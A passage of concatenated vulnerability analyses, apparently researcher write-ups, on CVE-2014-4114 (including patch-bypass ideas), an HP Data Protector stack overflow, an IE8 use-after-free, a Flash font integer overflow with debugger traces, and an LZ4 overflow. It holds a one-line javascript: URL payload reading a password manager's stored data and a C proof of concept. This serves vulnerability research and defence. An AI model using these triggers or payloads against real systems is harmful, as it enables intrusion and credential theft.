0029dcc4 767e53c5 SHELL32!CExecuteApplication::_CreateProcess+0xfc
0029dcd4 767e5379 SHELL32!CExecuteApplication::_TryCreateProcess+0x2e
0029dce4 767e47d1 SHELL32!CExecuteApplication::_DoApplication+0x48
0029dcf4 767ff6b1 SHELL32!CExecuteApplication::Execute+0x33
0029dd14 767e4a1c SHELL32!CExecuteAssociation::_DoCommand+0x88
0029dd38 767ff733 SHELL32!CExecuteAssociation::_TryApplication+0x41
0029dd58 76800ff1 SHELL32!CExecuteAssociation::Execute+0x5f
0029dd88 76800f22 SHELL32!CRegDataDrivenCommand::_Invoke+0xe2
0029dd9c 76801175 SHELL32!CRegDataDrivenCommand::InvokeFromContextMenu+0x18
0029ddc8 768010d8 SHELL32!CRegistryVerbsContextMenu::_Execute+0x5a
0029e03c 7680056c SHELL32!CRegistryVerbsContextMenu::InvokeCommand+0xa4
0029e0c0 76800444 SHELL32!HDXA_LetHandlerProcessCommandEx+0x132
0029e3a0 6ff95ee0 SHELL32!CDefFolderMenu::InvokeCommand+0x1ca
0029ee6c 66a62eea packager!CPackage::DoVerb+0x374

OTHER INTERESTING THINGS FOUND DURING REVERSING

  • The DoVerb function is also where the bug was for MS12-005 (Microsoft ClickOnce Vulnerability).
    That vuln was due to the CPackage::_GiveWarningMsg function using a weak list of dangerous/executeable
    files (such as a Python file, Ruby, etc).

  • Before the INF is run, a “Zone Check” will trigger by shell32. This means it is possible to
    cause the exploit to fail if the target machine has very strict IE zone settings.

  • For some reason, the exploit seems to crash with Office 2010 + Win 7 SP1 due to a null pointer
    dereference in DoVerb –> CPackage::GetContextMenu –> packager!CPackage::CreateTempFileName.

PATCHING

The patch is found in packager.dll. A MarkFileUnsae() function is introduced in
CPackage::OLE2MPlayerReadFromStream(). With the patch, the INF should trigger a prompt that
warns the user about the operation.

However, someone claims the following:

“KB2919355 (Windows 8.1 update) remove InfDefaultInstall.exe from g_lpAutoApproveEXEList in
appinfo.dll, thx cve-2014-4114 for the help” – https://twitter.com/w4kfu/status/522492861225639936

I looked at that specific KB2919355 patch, and there is no appinfo.dll in there. BUT, the claim
seems plausible becaues g_lpAutoApproveEXEList does have infDefaultInstall.exe in there:

.data:0624B054 ?g_lpAutoApproveEXEList@@3PAPBGA dd offset aCttunesvr_exe
.data:0624B054                                         ; DATA XREF: AipIsAutoApprovalEXE(ushort const *)+Eo
.data:0624B054                                         ; "cttunesvr.exe"
.data:0624B058                 dd offset aInetmgr_exe  ; "inetmgr.exe"
.data:0624B05C                 dd offset aInfdefaultinst ; "infdefaultinstall.exe"
.data:0624B060                 dd offset aMigsetup_exe ; "migsetup.exe"
.data:0624B064                 dd offset aMigwiz_exe   ; "migwiz.exe"
.data:0624B068                 dd offset aMmc_exe      ; "mmc.exe"
.data:0624B06C                 dd offset aOobe_exe     ; "oobe.exe"
.data:0624B070                 dd offset aPkgmgr_exe   ; "pkgmgr.exe"
.data:0624B074                 dd offset aProvisionshare ; "provisionshare.exe"
.data:0624B078                 dd offset aProvisionstora ; "provisionstorage.exe"
.data:0624B07C                 dd offset aSpinstall_exe ; "spinstall.exe"
.data:0624B080                 dd offset aWinsat_exe   ; "winsat.exe"

References

=== The Patch

Microsoft patched this vulnerability with MS14-060

https://technet.microsoft.com/en-us/library/security/ms14-060.aspx

The HP analysis I think isn’t 100% accurate, according to my bindiff the patch MS14-060 is adding a call “MarkFileUnsafe” to different methods available to drop files to the filesystem:

  • OLE2MplayerReadFromStream
  • OLE1SoundRecReadFromStream
  • OLE2SoundRecReadFromStream

=== Ideas to bypass patch

  • Idea 1: Obvious one, find another path where the “MarkFileUnsafe” has been forgotten. Unfortunately with static analysis I’ve not found nothing interesting.
  • Idea 2: The abused function hasn’t been killed, the droped files are just marked as unsafe… so maybe working with other file types can have some success.

The original exploit basically embeds packager objects as OLE streams, allowing:

  • To drop arbitrary files to temp => It can be done also after the patch.
  • Also use the “famous” CmdVerb = 3, which basically simulates a right click and then left click on the “alternate” option. When used on a INF file it simulates a click on the “Install” option.

So the idea here is to find a file type whose second option in the right click is interesting. For example, when I install the “Geany” Editor, windows automatically adds the “Open With Geany” option with a lot of file types. I can embedd any file of these types inside a package, then inside an OLE, and run the ppsx. The “Geany” editor is executed automatically and tries to open the file, since “Geany” isn’t marked as unsafe at all, and the editor isn’t trying to execute nothing.

The idea would be to found a filetype which can be opened through the second option of the contextual menu, and it allows to embed code (scripting)

At the moment I’ve not found other file type whose second choice in the right click menu (contextual menu) is interesting for exploitation. I’ve tried powershell, but since the file is marked as unsafe a warning arises when powershell tries to execute it directly.

(There are some reports about this idea being used in the wild with ppsx’s directly embedding an EXE, and going through “run it as an Administrator”, but in this way UAC triggers.

  • Idea 3: Try other CmdVerb’s to analyze other parts of the CmdVerb function not triggered.
1
Technical Analysis

At this moment metasploit has available a module for CVE-2012-0124:

http://www.metasploit.com/modules/exploit/windows/misc/hp_dataprotector_new_folder
https://community.rapid7.com/community/metasploit/blog/2012/07/06/an-example-of-egghunting-to-exploit-cve-2012-0124

In fact, the vulnerability exploited is an instance of CVE-2012-0123 and
CVE-2012-0121:

This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Hewlett-Packard Data Protector.
Authentication is not required to exploit this vulnerability.

The specific flaw exists within the dpwintdb.exe process which listens
by default on TCP port 3817. When parsing data within a DtbClsAddObject
request, the process copies data from the network into a fixed-length
buffer on the stack via an unchecked loop. This can be leveraged by
attackers to execute arbitrary code under the context of the SYSTEM user.

This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of HP Data Protector Express. Authentication is
not required to exploit this vulnerability. User interaction is not
required to exploit this vulnerability.

The specific flaw exists within the dpwinsdr.exe process which listens
on TCP port 3817 by default. The process has insufficient bounds checking
on user-supplied data copied to a fixed-length buffer on the stack.
Remote, unauthenticated attackers can exploit this vulnerability by
sending malformed opcode 0x320 message packets to the target, which could
ultimately lead to arbitrary code execution under the context of the SYSTEM
user.

  • Why is an instance of CVE-2012-0123?
    ======================================

Really, the handler of the operation “new folder” uses DtbClsAddObject to
create the new dir, where in fact, overflow happens.

The handler for the new folder operation can be found on dpwindtb.dll:

int __cdecl sub_1000C750(int a1, int a2, int a3, int a4, int a5)
{
int v5; // ebx@1
int result; // eax@1
int v7; // ebx@3
int v8; // eax@3
int v9; // ecx@3
int v10; // edx@3
int v11; // [sp+Ch] [bp-24h]@3
int v12; // [sp+10h] [bp-20h]@3
int v13; // [sp+14h] [bp-1Ch]@3
int v14; // [sp+18h] [bp-18h]@3
char v15; // [sp+1Ch] [bp-14h]@2

DtbClsByteOrder_ObjId(a5 + 28);
DtbClsByteOrder_DTBOBJECT(a5 + 48);
v5 = *(_DWORD *)(a5 + 44);
result = DtbClsCheckValidOptions(v5);
if ( !result )
{

result = DtbClsGetRequest(a2, a3, *(_DWORD *)(a5 + 20), *(_DWORD *)(a5 + 24), &v15);
if ( !result )
{
  resource_lock_sub_10002414();
  v7 = DtbClsAddObject(&v15, a5 + 28, v5 | 0x80000000, a5 + 48, &v11); // Using the vulnerable DtbClsAddObject with controlled data.
  resource_unlock_sub_10002991();
  DtbClsPutRequest(&v15);
  v8 = v12;
  v9 = v13;
  *(_DWORD *)(a5 + 20) = v11;
  v10 = v14;
  *(_DWORD *)(a5 + 24) = v8;
  *(_DWORD *)(a5 + 28) = v9;
  *(_DWORD *)(a5 + 32) = v10;
  SvcSetCommandLength();
  DtbClsByteOrder_ObjId(a5 + 20);
  result = v7;
}

}
return result;
}

The metasploit blog can be checked for a detailed analysis of the
overflowing loop also announced by the ZDI advisory:

https://community.rapid7.com/community/metasploit/blog/2012/07/06/an-example-of-egghunting-to-exploit-cve-2012-0124

  • Why it’s an instance of CVE-2012-0121?
    ========================================

Because the “new folder” operation is one of the operations handled by
the dpwindtb module => Data Protector Express Microsoft Windows Database
Service (x86).

All these operations are handled by the same SVC ID => 0x32020202 (not
only 0x320 really). (The SVC ID is part of the packet header).

BTW, the available service ids (svc ids) are:
30000000
32020202 => ZDI-2012-097
33040404 => ZDI-2012-096
34050505
35060606
36070707

In order to get the available services the SvcGetServiceInstance_0 function
provided by the dpwinsup.dll module. In this function, the a1 arg is the
SVCID requested, and off_102A13BC + 26120 points to the valid SVC ID’s
table:

signed int __cdecl SvcGetServiceInstance_0(int a1, int a2)
{
void *v2; // esi@1
unsigned int v3; // eax@1
char *v4; // ecx@1

v2 = off_102A13BC;
v3 = 0;
v4 = (char *)off_102A13BC + 26120;
while ( *(_DWORD *)v4 != a1 )
{

++v3;
v4 += 4;
if ( v3 >= 0x40 )
  return 59;

}
*(_DWORD *)a2 = *((_DWORD *)off_102A13BC + 2 * v3 + 6594);
*(_DWORD *)(a2 + 4) = *((_DWORD *)v2 + 2 * v3 + 6595);
return 0;
}

So at runtime with the help of debugging:

102e8c88 30000000 32020202 33040404 35060606
102e8c98 34050505 36070707 00000000 00000000

  • Aren’t there other 0x320 requests which could be vulnerable:
    ==============================================================

Absolutly YES! There could be others, but I’ve not been able to find them
atm.

In order to understand which subtypes of “0x320” requests exists, one must
have into account how connections are managed by HP Data Protector
Express.

Connections are managed by the dpwinsup.dll module, specifically by the
function sub_10191140, A connection needs to send a hello packet, once
done, different job requests and ping requests can be launch from the
same connection (handled by the infinite loop):

int __cdecl sub_10191140(int a1, int a2)
{
int v2; // esi@1
int v3; // edi@1
int v4; // eax@3
int v5; // ebx@3
int v6; // eax@4
int v7; // eax@6
int v8; // eax@20
__int16 v10; // [sp+10h] [bp-14h]@6

v2 = *(_DWORD *)(a2 + 8);
v3 = *(_DWORD *)(a2 + 12);
if ( SvcGetPointerEx(0, 0, (void *)0x40001, *(_DWORD *)(a2 + 8), *(void **)(a2 + 12), (int)&a2)

|| (Msg(6, "Ses: %s connection service for %h is now running", (unsigned int)"Server"), handle_hello_sub_1000D198(a2)) )

{
LABEL_18:

v4 = a2;
goto LABEL_19;

}
v4 = a2;
v5 = *((_DWORD *)off_102A13BC + 6744);
if ( *(_DWORD *)(a2 + 2486) != 1 )
{
LABEL_19:

*(_DWORD *)(v4 + 2482) |= 8u;
sub_10007D97(a2, 2);
goto LABEL_20;

}
while ( 1 )
{

v6 = SvcWaitForRecv(v4 + 40, v5);
if ( v6 )
{
  if ( v6 != 47 )
  {
    if ( v6 == 52 )
      Msg(6, "Ses: Socket timeout error on %s connection %h, connection dropped (%e)", (unsigned int)"server");
    else
      Msg(6, "Ses: Socket error waiting on %s connection %h, connection dropped (%e)", (unsigned int)"server");
  }
  goto LABEL_18;
}
v4 = a2;
if ( *(_DWORD *)(a2 + 2486) != 1 )
  goto LABEL_19;
v7 = SvcRecv(a2 + 40, 20, &v10);
if ( v7 )
{
  if ( v7 != 47 )
    Msg(6, "Ses: Socket error receiving header on connection %h, connection dropped (%e)", v2);
  goto LABEL_18;
}
if ( v10 == 0x8451 )
{
  j_requests_84_51_sub_10190F60(a2, &v10);
  goto LABEL_11;
}
if ( v10 != 0x8455 )
  break;
ping_request_sub_1000BEBA(a2);

LABEL_11:

v4 = a2;
if ( *(_DWORD *)(a2 + 2486) != 1 )
  goto LABEL_19;

}
if ( v10 != 33878 )

goto LABEL_18;

sub_1000BBBD(a2);
LABEL_20:
Msg(6, “Ses: %s connection service for %h is now stopped”, (unsigned int)“Server”);
v8 = a2;
if ( *(_DWORD *)(a2 + 2486) != 2 )
{

SvcReleaseSocket(a2 + 40);
v8 = a2;

}
*(_DWORD *)(v8 + 2486) = 0;
SvcPutPointerEx(0, 0, (void *)0x40001, *(_DWORD *)a2, *(void **)(a2 + 4), (int)&a2);
sub_10006479(v2, v3);
return 0;
}

The packets headers are of 0x14 bytes with the next layout:

4 bytes => Packet ID

0x8454 => Hello packets
0x8451 => Job requests
0x8455 => Ping requests

4 bytes => SVC ID
4 bytes => CMD ID
4 bytes => Packet length
4 bytes => ??Unknown?? 0x000000 works well to request jobs.

Every SVC (a dll really), handle its own CMD ID’s. The dpwinsup.dll provides
the SvcCallDriver which is the responsible of dinamically dispatch the job
to the correct module:

int __cdecl SvcCallDriver_0(int a1, int a2, int a3)
{
int result; // eax@1

result = SvcIsValidInstanceIocmd(a1, a2);
if ( !result )

result = (*(int (__cdecl **)(int, int, int))(a1 + 512))(a1, a2, a3);

return result;
}

In order to find the CMD ID’s valids for the SVC 0x32020202 (dpwindtb.dll)
the job handler from this module must be examined:

int __cdecl sub_1001BAC0(int a1, unsigned int a2, int a3)
{
int result; // eax@5

if ( a2 <= 0x1000003 )
{

if ( a2 == 0x1000003 )
  return sub_1001BA30(a1);
if ( a2 == 0x1000001 )
  return 0;
if ( a2 == 16777218 )
  return sub_1001BA90(*(_DWORD *)(a3 + 8), *(_DWORD *)(a3 + 12));
return 3;

}
if ( a2 == 0x1040007 )
{

if ( *(_DWORD *)(SvcGetGlobalDataEx() + 7908) )
  sub_10002252();
result = 0;

}
else
{

if ( a2 != 0x2000001 )
  return 3;
result = SvcDispatchService();

}
return result;
}

As seen above, it makes use of the SvcDispatchService() api, provided
by dpwinsup.dll, which finally queries the next table of available methods
on dpwindtb.dll:

.data:100A25C4 dd offset sub_10002905 ; CMD ID 0x1
.data:100A25C8 dd offset sub_10001B2C ; CMD ID 0x2
.data:100A25CC dd offset sub_10001E51
.data:100A25D0 dd offset sub_1000163B
.data:100A25D4 dd offset sub_10001F6E
.data:100A25D8 dd offset sub_10001B9A ; CMD ID 0x6 => AddObject (new folder, our case)
.data:100A25DC dd offset sub_10002581
.data:100A25E0 dd offset sub_10001AD2
.data:100A25E4 dd offset sub_100026DF
.data:100A25E8 dd offset sub_100020C7
.data:100A25EC dd offset sub_10001F28
.data:100A25F0 dd offset sub_10001235
.data:100A25F4 dd offset sub_10001CBC
.data:100A25F8 dd offset sub_1000227F
.data:100A25FC dd offset sub_1000141F
.data:100A2600 dd offset sub_100013E3
.data:100A2604 dd offset sub_10002AA4
.data:100A2608 dd offset sub_10002937
.data:100A260C dd offset sub_10001BD6
.data:100A2610 dd offset sub_10002A8B
.data:100A2614 dd offset sub_10001735
.data:100A2618 dd offset sub_100025EA
.data:100A261C dd offset sub_1000236A
.data:100A2620 dd offset sub_1000291E
.data:100A2624 dd offset sub_10001DB6
.data:100A2628 dd offset sub_100012B7
.data:100A262C dd offset sub_100027C0
.data:100A2630 dd offset sub_100020A4
.data:100A2634 dd offset sub_100010B4
.data:100A2638 dd offset sub_1000101E
.data:100A263C dd offset sub_100020E0
.data:100A2640 dd offset sub_10001F64
.data:100A2644 dd offset sub_100021FD
.data:100A2648 dd offset sub_100018A2
.data:100A264C dd offset sub_100011B8
.data:100A2650 dd offset sub_10002383
.data:100A2654 dd offset sub_1000106E
.data:100A2658 dd offset sub_1000233D
.data:100A265C dd offset sub_1000132A
.data:100A2660 dd offset sub_100014E2
.data:100A2664 dd offset sub_1000245F
.data:100A2668 dd offset sub_10001F14
.data:100A266C align 10h
.data:100A2670 dd offset sub_10001FFA
.data:100A2674 dd offset sub_1000164F
.data:100A2678 dd offset sub_1000247D
.data:100A267C dd offset sub_1000244B
.data:100A2680 dd offset sub_10002473
.data:100A2684 dd offset sub_10002563
.data:100A2688 dd offset sub_100020B3
.data:100A268C dd offset sub_10002342
.data:100A2690 dd offset sub_100023C9
.data:100A2694 dd offset sub_100028E7
.data:100A2698 dd offset sub_10001A69
.data:100A269C dd offset sub_10001CF3
.data:100A26A0 dd offset sub_10002AEF
.data:100A26A4 dd offset sub_100014B5
.data:100A26A8 dd offset sub_10001DFC
.data:100A26AC dd offset sub_10001AFF
.data:100A26B0 dd offset sub_10001F1E
.data:100A26B4 dd offset sub_10001348
.data:100A26B8 dd offset sub_10001BD1
.data:100A26BC dd offset sub_100023E7
.data:100A26C0 dd offset sub_10001F55
.data:100A26C4 dd offset sub_10002A3B
.data:100A26C8 dd offset sub_10001BC2
.data:100A26CC dd offset sub_100019C4
.data:100A26D0 dd offset sub_10001DC5
.data:100A26D4 dd offset sub_10001F46
.data:100A26D8 dd offset sub_1000103C
.data:100A26DC dd offset sub_10002469
.data:100A26E0 dd offset sub_10001F05

  • Aren’t there other calls to DtbClsAddObject ?
    ===============================================

After inspecting xrefs to DtbClsAddObject from dpwindtb.dll the only reference
easily rechable from a job handler is the new folder case, but sure, other
references should be examined carefully, no luck atm. I tried also a
dynamic approach, debug using the original client, breakpoing the
DtbClsAddObject… no luck atm.

  • Bindiffing
    ============

1) Bindiffing of the windtb.dll module has been conducted, there are
mainly two differences:

  • The method used for the AddFolder (our exploit, maybe aaron was able
    to bypass authentication?? I’ve tried but no success atm)!!! grrrr BTW,
    the login is handled by the routine sub_1002DD30 in dpwindtb.dll, which
    uses dtbclslogin (http://www.zerodayinitiative.com/advisories/ZDI-10-174/).
  • The method used for the Upgrade (cmd ID => 0x42, checks for product
    activation, since Im working with the trial, no luck testint this case.

2) Also bindiffing of the dpwinods.dll module has been conducted ( 0x330 requests service handler ): all matches
with similarity 1.0

1
Technical Analysis

Information

“MS13-080 also fixes a second CVE vulnerability that has been exploited in limited attacks over the
web. This issue is a user-after-free vulnerability in CDisplayPointer triggered with
“onpropertychange” event handler. This exploit was found cached on a popular Javascript analysis
website and reported to us. The exploit code for this issue, released probably around mid-September
, uses heap-spray to allocate a small ROP chain around address 0x14141414 and is designed to target
only IE8 running on Windows XP for Korean and Japanese language-based users” – Microsoft

This issue is a use-after-free vulnerability in CDisplayPointer via the use of a “onpropertychange”
event handler. To setup the appropriate buggy conditions, we first craft the DOM tree in a specific
order, where a CBlockElement comes after the CTextArea element. There are also other ways to acheive
the same results, for example: Replace CBlockElement with another CTextArea. One possible explanation
for that is perhaps the second element needs to hold a reference of the parent.

If we use a select() function for the CTextArea element, two important things will happen: a
CDisplayPointer object will be created for CTextArea, and it will also trigger another event called
“onselect”. The “onselect” event will allow us to setup for the actual event handler we want to abuse

  • the “onpropertychange” event. Since the CBlockElement is a child of CTextArea, if we do a node swap
    of CBlockElement in “onselect”, this will trigger “onpropertychange”. During “onpropertychange” event
    handling, a free of the CDisplayPointer object can be forced by using an “Unslect” (other approaches
    also apply), but a reference of this freed memory will still be kept by CDoc::ScrollPointerIntoView,
    specifically after the CDoc::GetLineInfo call, because it is still trying to use that to update
    CDisplayPointer’s position. When this invalid reference arrives in QIClassID, a crash finally occurs
    due to accessing the freed memory. By controlling this freed memory, it is possible to achieve arbitrary
    code execution under the context of the user.

The trigger of the vulnerability seems to be based on previously discovered bugs, specifically
CVE-2012-4969 (ie_execcommand_uaf) and CVE-2013-1347 (ie_cgenericelement_uaf). This just means
that the browser fuzzing tool was tweaked based on these references. There is some junk code in
the trigger. For example, contentEditable does not have to be enabled, but this attribute this
commonly enabled by fuzzers because of document selection. There is also multiple junk CollectGarbage
calls, with Math.atan2() debugging messages around them – which is also an indicator that the exploit
author was still in the process of understanding what they’re for. The vulnerability seems to only
work on Internet Explorer 8 (tested on Win 7 and Win XP), older versions might be affected, did not
check. It does not work against IE9 (tested).

The exploit actually looks more like a proof-of-concept rather than weaponized. The Math.atan2()
functions are used as a way to print debugging messages in WinDBG is a strong indicator that this poc
was possibly incomplete. It’s possible that the experimental version was leaked on the web, so
it was rushed into deployment.

The heap grooming technique is exactly the same as the CVE-2013-3893 – it’d use the
setAttribute() function trigger heap allocations, creates 2000 of them, and the frees half of them.
This also indicates it’s probably done by the same author.

1
Technical Analysis

HERE

The first offset (0x7800) doesn't seem to point to anything meanful in 010 editor. But the second
one (0x8340) falls into the "kern" table section:

struct tTable Table[8]	kern (1801810542) at 33604 for 15852	8Ch	10h	Fg:
union Tag		8Ch	4h	Fg:
ULONG checkSum	A466AE58h	90h	4h	Fg:
ULONG offset	8344h	94h	4h	Fg:
ULONG length	3DECh	98h	4h	Fg:
The 010 TFF template can't seem to parse the kern table properly. But we can do it manually.
According to the TFF specs found at developer.apple.com:

	https://developer.apple.com/fonts/TTRefMan/RM06/Chap6kern.html

Table 25: 'kern' header
Type	Name	Description
fixed32	version	The version number of the kerning table (0x00010000 for the current version).
uint32	nTables	The number of subtables included in the kerning table.
So let's look at line 0x00008340 again:

$ cat PSPop.otf |hexdump -C |grep 00008340
00008340  00 00 00 00 00 01 00 00  10 00 00 00 1e 0c ff e8  |................|
                         ^Version  ^ nTables
Our DEP-bypass strategy is by remotely detecting the Flash version (which can be fingerprinted by
checking the 'x-flash-version' header), and then return the payload -- including the ROP chain
specific to that Flash version.  If we don't have a suitable ROP chain for a Flash version, we
return a JRE ROP chain instead.  One possible drawback while using the Flash ROP is that the Flash
ocx can rebase. For example: if the victim machine has Adobe PDF installed, it is possible
AcroIEHelperShim.dll can push the Flash ActiveX component out of 0x10000000, and then cause the
exploit to fail. Other components could also do the same.



Note: Integer overflow probably needs to be explained better

# The Integer Overflow

Flash Version used to document the Integer Overflow: 11.3.300.268

* 10h bytes are reserved to store the Kern Header Info:

.text:104418A3 mov eax, [ebp+Allocator]
.text:104418A6 push 10h ; Size to allocate
.text:104418A8 push eax
.text:104418A9 call dword ptr [eax] ; Allocate memory for the Kern Header Info
.text:104418AB mov esi, eax
.text:104418AD pop ecx
.text:104418AE pop ecx
.text:104418AF mov [ebp+Kern_Header_1_var_C], esi

* The Kern Header is filled with the next data:

[esi] => Allocator
[esi + 4] => Stream
[esi + 8] => nTables
[esi + C] => pointer to SubTables

.text:104418C0 mov eax, [ebp+stream]
.text:104418C3 mov ecx, [ebp+Allocator]
.text:104418C6 mov [esi+8], eax ; nTables
.text:104418C9 shl eax, 4 ; ¡¡¡Integer Overflow!!!!
.text:104418CC push eax ; Size to allocate for nTables
.text:104418CD push ecx
.text:104418CE mov [esi], ecx ; allocator
.text:104418D0 mov [esi+4], edi ; stream

The nTables value suffers from an Integer Overflow on 104418C9 and the calculation is used to reserve memory
to store the nTables. Basically it's trying to get 0x10 bytes by every nTable:

.text:104418D3 call dword ptr [ecx] ; Allocate Memory for nTables

And the pointer to the reserved Memory is stored in [esi+0ch]:

.text:104418D5 pop ecx
.text:104418D6 pop ecx
.text:104418D7 xor ecx, ecx
.text:104418D9 mov [esi+0Ch], eax ; Memory Allocated for the nTables, after the Integer Overflow…

How is memory allocated when there is an Integer Overlow? Just a Sample:

* kern Table Header

Breakpoint 0 hit
eax=025fc1b0 ebx=00000008 ecx=00000000 edx=00003dec esi=00000000 edi=025f8250
eip=104418a9 esp=0013dadc ebp=0013db08 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
Flash32_11_3_300_268!DllUnregisterServer+0x285e47:
104418a9 ff10 call dword ptr [eax] ds:0023:025fc1b0=8d440310
0:000> p
eax=025fd760 ebx=00000008 ecx=1088c214 edx=00000000 esi=00000000 edi=025f8250
eip=104418ab esp=0013dadc ebp=0013db08 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
Flash32_11_3_300_268!DllUnregisterServer+0x285e49:
104418ab 8bf0 mov esi,eax

So Memory for the Kern Table Header is allocated at: 025fd760

* nTables:

eax=00000000 ebx=00000008 ecx=025fc1b0 edx=00000000 esi=025fd760 edi=025f8250
eip=104418d3 esp=0013dadc ebp=0013db08 iopl=0 nv up ei pl zr na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040247
Flash32_11_3_300_268!DllUnregisterServer+0x285e71:
104418d3 ff11 call dword ptr [ecx] ds:0023:025fc1b0=8d440310
0:000> p
eax=025f9038 ebx=00000008 ecx=1088c1cc edx=00000000 esi=025fd760 edi=025f8250
eip=104418d5 esp=0013dadc ebp=0013db08 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
Flash32_11_3_300_268!DllUnregisterServer+0x285e73:
104418d5 59 pop ecx

Memory for nTables is (incorrectly) allocated at: 025f9038

The crafted OTF font file has 0x10000000 nTables, and for every nTable 0x10 bytes
are filled, it wants to say that, after

025fd760 – 025f9038 => 0x4728 / 0x10h => 0x472 (ENTRIES)

So after 0x472 entries, the memory for the kern Table Header should be
overwritten. Having into account that the nTables memory is filled in a loop,
after 0x472 loops, the Kern Header Table will be overwritten. It is interesting
because the nTables value stored in the kern Header Table (offset +8) is used
as condition to leave the copy loop:

.text:104419C3 inc [ebp+counter_nTables_Read_var_8]
.text:104419C6 mov eax, [ebp+Kern_Header_1_var_C]
.text:104419C9 mov ecx, [ebp+counter_nTables_Read_var_8]
.text:104419CC add [ebp+data_nTables_copied_var_4], 10h
.text:104419D0 add ebx, [ebp+var_18]
.text:104419D3 mov esi, eax
.text:104419D5 cmp ecx, [eax+8] ; comparing ecx with nTables
.text:104419D8 jb loc_10441906 ; copy loop

In every loop 0x10 bytes are filled. In order to understand how memory is overwritten
we can put the next breakpoints:

bp 10441964 “.echo Offset 0; r esi; r eax; g”
bp 10441921 “.echo Offset 4; r esi; r ebx; g”
bp 10441973 “.echo Offset 8; r esi; r eax; g”
bp 104419A6 “.echo Offset C; r esi; r eax; g”
bp 104419D5 “.echo Counter; r ecx; g”

The file debug_flash.txt contains a debugged session to understand how nTables are filled. The
data is partialy controlled from the OTF font file. The pattern is the next one:

025fb138 00000000 1e0cfff0 1e0d0000 ffffffff
025fb148 00000000 1e0cfff0 1e0d0000 ffffffff
025fb158 00000000 1e0cfff0 1e0d0000 ffffffff

               ^^^^^^^^ ^^^^^^^^
                controlled data
When the Kern header is overwritten it's what happens when comparing the ecx counter with the
nTables stored value:

ecx=00000474
eax + 8 => 025fd768 00000000

So it goes away from the loop, with the Kern Header Table filled with the next data:

0:000> dd 025fd760 L4
025fd760 1e0d0000 ffffffff 00000000 1e0cfff0

Once the function returns, it is what happens:

.text:104354DF call overflow_sub_1044184C ; it manages the kern table
.text:104354E4 add esp, 0Ch ; we’re returning here
.text:104354E7 mov [esi+0F8h], eax
.text:104354ED
.text:104354ED loc_104354ED: ; CODE XREF: sub_10435420+BAj
.text:104354ED mov eax, [esi+4]
.text:104354F0 push ‘GDEF’
.text:104354F5 push dword ptr [esi+8]
.text:104354F8 push eax
.text:104354F9 push edi
.text:104354FA push ebx
.text:104354FB call dword ptr [eax+20h] ; get control

Once we return from overflow_sub_1044184C starts the parsing of the GDEF table (also related
to OTF parsing), on 104354FB control can be achieved:

Breakpoint 0 hit
eax=029fb360 ebx=029fc1b0 ecx=00000472 edx=00000000 esi=02b8c020 edi=0013db80
eip=104354fb esp=0013db08 ebp=0013db30 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
Flash32_11_3_300_268!DllUnregisterServer+0x279a99:
104354fb ff5020 call dword ptr [eax+20h] ds:0023:029fb380=00000d1e
0:000> dd eax
029fb360 1e0d0000 ffffffff 00000000 1e0cfff0
029fb370 1e0d0000 ffffffff 00000000 1e0cfff0
029fb380 1e0d0000 ffffffff 00000000 1e0cfff0
029fb390 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3a0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3b0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3c0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3d0 1e0d0000 ffffffff 00000000 1e0cfff0
0:000> dd eax + 20
029fb380 1e0d0000 ffffffff 00000000 1e0cfff0
029fb390 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3a0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3b0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3c0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3d0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3e0 1e0d0000 ffffffff 00000000 1e0cfff0
029fb3f0 1e0d0000 ffffffff 00000000 1e0cfff0

EAX comes from ESI+4:

0:000> dd esi
02b8c020 029fc1b0 029fb360 00000000 00000000

               ^^^^^^^^

02b8c030 00000000 00000000 00000000 00000000
02b8c040 029fd710 029ff4d0 00000000 00020001
02b8c050 00040003 00060005 00080007 000a0009
02b8c060 000c000b 000e000d 0010000f 00120011
02b8c070 00140013 00160015 00180017 001a0019
02b8c080 001c001b 001e001d 0020001f 00220021
02b8c090 00240023 00260025 00280027 002a0029

As a sample in a use case it is what happens:

* Memory allocated for kern header table: 028fd740
* Memory allocated for subtables: 028f9038
* ESI+4h => 028fb360

028F9038 => SUBTABLES
. |
. |
028fb360 => Interesting pointer overwritten | Overflow!
. |
. |
028fd740 => Kern header \/
”`

0
Technical Analysis

This example will show the domain of the first encrypted password:

https://localhost:49155/api/showSB?url=javascript:topWindow.process.mainModule.exports.Tower.handle.getUserData(function(n){alert(JSON.parse(n).data.passcard[0].Domain)})'
1
Technical Analysis

On Jun 26th, Don A. Bailey of Security Mouse published a blog detailing an integer overflow within
the LZO algorithm, specifically the LZ4 variant. The writeup can be found here:

http://blog.securitymouse.com/2014/06/raising-lazarus-20-year-old-bug-that.html

PoC Example (Windows 32-bit):

#include "lz4.h"

char output[20<<20];
char input[20<<20];
int main(int argc, char* argv[]) {
  input[0] = 0x0F;
  input[1] = 0x00;
  input[2] = 0x00;
  for(int i = 3; i < 16800000; i++)
    input[i] = 0xff;
  LZ4_uncompress(input, output, 20<<20);
  return 0;
}

The LZ4 algorithm is vulnerable but in the real world no implementations are because either the
necessary vulnerable conditions aren’t dialed in correctly, or there is something else in place
(in the software or by operating system) that prevents the bug from exploitation. The flaw
requires the following conditions:

  • Must be in a 32-bit environment, which means all servers are safe from this issue.
  • The attacker need to forge a special compressed block to overflow a 32-bit address space and
    cause the decoding process to overflow, but it can only be done if the compressed block is
    something like 16MB or more. Some real-world implementations:
    * Legacy LZ4 file format is limited to 8MB, newer format is at 4MB.
    * ZFS = 128KB
    * zram = 4KB
    * Linux kernel = 8MB (uses LZ4 legacy)
